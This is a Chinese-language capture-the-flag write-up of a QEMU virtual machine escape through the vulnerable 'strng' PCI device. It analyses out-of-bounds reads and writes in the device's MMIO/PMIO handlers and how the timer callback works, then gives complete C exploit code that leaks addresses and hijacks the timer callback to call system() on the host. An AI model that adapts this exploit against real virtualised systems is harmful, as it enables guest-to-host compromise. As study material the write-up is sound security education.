附件下载链接
虚拟机密码为 root
缺少 libiscsi.so.2
,需要安装相关依赖:
git clone https://github.com/sahlberg/libiscsi.git
cd libiscsi
./autogen.sh
./configure
make
sudo make install
sudo ln -s /usr/lib/x86_64-linux-gnu/libiscsi.so.7 /usr/lib/x86_64-linux-gnu/libiscsi.so.2
设备读写函数分析如下:
strng_mmio_read
函数:
addr
非 4 的倍数或者读的非四字节则返回 -1 。regs[addr>>2]
。这里缺少对 regs
的边界检测,存在越界读。strng_mmio_write
函数:addr
必须是 4 的倍数
addr == 4
:regs[1] = rand()
addr == 0 || addr == 8
:srand(val)
addr == 12
:regs[3] = rand_r(&opaque->regs[2])
flag = 1; regs[addr>>2] = val
,存在越界写。strng_pmio_read
函数:
size
不为 4 则返回 -1addr
为 0 则返回 0addr
为 4 且 opaque->addr
为 4 的倍数则返回 opaque->regs[opaque->addr >> 2]
strng_pmio_write
函数:
addr == 0
: opaque->addr = val
addr
非零则 addr
必须为 4:opaque->addr
必须是 4 的倍数:
opaque->addr == 4
:regs[1] = rand()
opaque->addr == 0 || opaque->addr == 8
:srand(val)
opaque->addr == 12
:opaque->regs[3] = rand_r(&opaque->regs[2])
regs[opaque->addr >> 2] = val
,如果 opaque->flag
非零:有一个timer
的奇怪函数调用,稍后再分析越界读原语:
mmio_read
传递 offset << 2
即可读取 regs[offset]
处的四字节值pmio_write
设置 opaque->addr = offset << 2
,调用 pmio_read
读取 regs[offset]
处的四字节越界写原语:
mmio_write
传递 offset << 2
即可写 regs[offset]
处的四字节值为 val
pmio_write
设置 opaque->addr = offset << 2
,调用 pmio_write
写 regs[offset]
处的四字节val
实际上只能使用第二种方式,因为 PCI 设备内部会对访问的内存区域进行检查,不允许超过分配
的既定区域,即 64*4 = 256
的合法区间,因而我们只能通过第二种方式构造越界读写原语。
调试发现 STRNGState
结构体的内容如下,其中 strng_timer
的 cb
和 opaque
分别可以泄露 qemu 和 STRNGState
地址。
pwndbg> p *(STRNGState*)0x5555582a59d0
$1 = {
pdev = {
...
},
mmio = {
...
},
pmio = {
...
},
addr = 276,
flag = 1,
regs = {0, 0, 0, 0, 1818321784, 99, 0 },
strng_timer = {
expire_time = -1,
timer_list = 0x555556a71860,
cb = 0x5555557eec8e ,
opaque = 0x5555582a59d0,
next = 0x0,
scale = 1000000
}
}
如果考虑修改 main_loop_tlg
实现虚拟机逃逸,由于 main_loop_tlg
位于 qemu 上,地址小于堆地址,而越界写 regs[opaque->addr >> 2] = val
无法将下标设为负数,因此考虑其他方法。
在 pci_strng_realize
函数中有对 strng_timer
的初始化,这里 QEMU_CLOCK_VIRTUAL_0 = 1
。
timer_init_ms_0(&pdev->strng_timer, QEMU_CLOCK_VIRTUAL_0, (QEMUTimerCB *)strng_timer, pdev);
其中 timer_init_ms
函数调用链如下,根据 timer_init_ms
的参数可知,最终会将 pdev->strng_timer
的 timer_list
设为 timer_list_group->tl[1]
并且在 timer_list_group->tl[1]
上设置定时任务,不过时间设置为 -1 因此不会执行。
void timer_init_full(QEMUTimer *ts,
QEMUTimerListGroup *timer_list_group, QEMUClockType type,
int scale, int attributes,
QEMUTimerCB *cb, void *opaque)
{
if (!timer_list_group) {
timer_list_group = &main_loop_tlg;
}
ts->timer_list = timer_list_group->tl[type];
ts->cb = cb;
ts->opaque = opaque;
ts->scale = scale;
ts->attributes = attributes;
ts->expire_time = -1;
}
static inline void timer_init(QEMUTimer *ts, QEMUClockType type, int scale,
QEMUTimerCB *cb, void *opaque)
{
timer_init_full(ts, NULL, type, scale, 0, cb, opaque);
}
static inline void timer_init_ms(QEMUTimer *ts, QEMUClockType type,
QEMUTimerCB *cb, void *opaque)
{
timer_init(ts, type, SCALE_MS, cb, opaque);
}
从前面的调试结果可以看到 STRNGState.flag
初始值为 1 ,而在strng_pmio_write
函数中如果如果 opaque->flag
非零会执行如下代码:
opaque->regs[v5] = val;
if ( opaque->flag )
{
ms_4 = qemu_clock_get_ms_4(QEMU_CLOCK_VIRTUAL_0);
timer_mod(&opaque->strng_timer, ms_4 + 100);
}
其中 timer_mod
函数定义如下,也就是说这里会将该定时任务时间设置为 ms_4 + 100
,并且将 opaque->strng_timer
添加到定时任务。
void timer_mod(QEMUTimer *ts, int64_t expire_time)
{
QEMUTimerList *timer_list = ts->timer_list;
QEMUTimer *t = &timer_list->active_timers;
while (t->next != NULL) {
if (t->next == ts) {
break;
}
t = t->next;
}
ts->expire_time = MAX(expire_time * ts->scale, 0);
ts->next = NULL;
t->next = ts;
}
因此不难想到可以修改 opaque->strng_timer
的 cb
为 system@plt
然后将 opaque->strng_timer
的 opaque
指向参数地址,从而实现任意命令执行。
#include
#include
#include
#include
#include
#include
void *mmio_mem;
void mmio_write(uint32_t offset, uint32_t value) {
*((uint32_t *) mmio_mem + offset) = value;
}
uint32_t mmio_read(uint32_t offset) {
return *((uint32_t *) mmio_mem + offset);
}
uint32_t pmio_mem = 0x000000000000c050;
void pmio_write(uint32_t offset, uint32_t value) {
outl(value, pmio_mem + offset);
}
uint32_t pmio_read(uint32_t offset) {
return inl(pmio_mem + offset);
}
uint64_t pmio_abread(uint32_t offset) {
pmio_write(0, offset << 2);
uint64_t val = pmio_read(4);
pmio_write(0, (offset + 1) << 2);
return val | (1ULL * pmio_read(4) << 32);
}
void pmio_abwrite(uint32_t offset, uint64_t value) {
pmio_write(0, offset << 2);
pmio_write(4, value & 0xFFFFFFFF);
pmio_write(0, (offset + 1) << 2);
pmio_write(4, value >> 32);
}
char cmd[] = "xcalc";
int main() {
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1) {
perror("[-] failed to open mmio.");
exit(-1);
}
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED) {
perror("[-] failed to mmap mmio.");
exit(-1);
}
for (int i = 0; i < sizeof(cmd); i += 4) {
mmio_write(4 + i / 4, *(uint32_t *) &cmd[i]);
}
if (iopl(3) != 0) {
perror("[-] failed to set io permission.");
}
size_t arg_addr = pmio_abread(70) + 0xb08;
size_t elf_base = pmio_abread(68) - 0x29ac8e;
printf("[+] arg addr: %p\n", arg_addr);
printf("[+] elf base: %p\n", elf_base);
printf("[*] STRNGState addr: %p\n", arg_addr - 0xb08);
size_t system_plt = elf_base + 0x200d50;
pmio_abwrite(70, arg_addr);
pmio_abwrite(68, system_plt);
return 0;
}